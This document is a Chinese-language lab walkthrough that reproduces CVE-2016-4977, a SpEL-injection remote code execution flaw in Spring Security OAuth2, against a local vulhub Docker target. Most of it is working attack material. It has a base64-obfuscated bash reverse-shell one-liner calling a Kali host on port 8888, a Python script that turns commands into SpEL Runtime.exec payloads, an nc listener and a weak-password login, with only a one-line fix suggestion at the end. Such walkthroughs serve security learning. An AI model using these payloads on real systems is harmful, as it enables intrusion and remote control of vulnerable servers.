目录
一.Spring框架的概念
Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益.
二.漏洞原理
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞
三.影响版本
Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14
四.搭建环境
1.vulhub靶场下载
2.docker-compose下载地址
3.服务启动
一切都准备好之后就可以启动CVE-2016-4977 的环境了.
先cd到spring目录下的CVE-2016-4977里面,然后使用docker-compose启动环境.
docker-compose up -d #安装并启动环境
docker ps #查看当前正在运行的服务
可以看到spring的端口为8080
ip a #查看IP 我的IP为192.168.184.155
在浏览器端输入 你的ip+端口8080 访问服务,如果显示如下页面,则表示服务搭建成功!
五.漏洞复现
1.漏洞验证
靶场环境搭建成功之后,拼接路径payload来验证漏洞是否存在.
发现需要我们进行登录,这里根据弱口令admin/admin进行登录。
注意!将这里的IP修改为自己的靶场IP , 执行命令: 2*2
${} 里面的内容被解析并执行,说明我们可以利用反弹shell来进行远程命令执行.
2.制作反弹shell
进入棱角社区制作反弹shell , 这里用到的IP是kali的IP ,端口随便定一个8888
[~]#棱角 ::Edge.Forum* #棱角社区
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
3.脚本生成payload
进入kali , 使用脚本制作payload .
vim poc.py #编辑制作payload
#按 " i "进行编辑 ,然后复制下面的脚本 , 再按 " Esc "键 ,再按冒号wq " :wq " 保存并退出.
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
执行脚本:
python3 poc.py #运行脚本
然后将刚刚生成的反弹shell复制到此处:
4.监听反弹
在kali再打开一个终端界面 ,进行监听反弹.
nc -lvvp 8888 #监听反弹
然后我们打开浏览器 ,修改连接访问,进行反弹shell.
我的最后链接如下 :
查看kali监听是否反弹成功:
六.修复建议
升级为最新版本.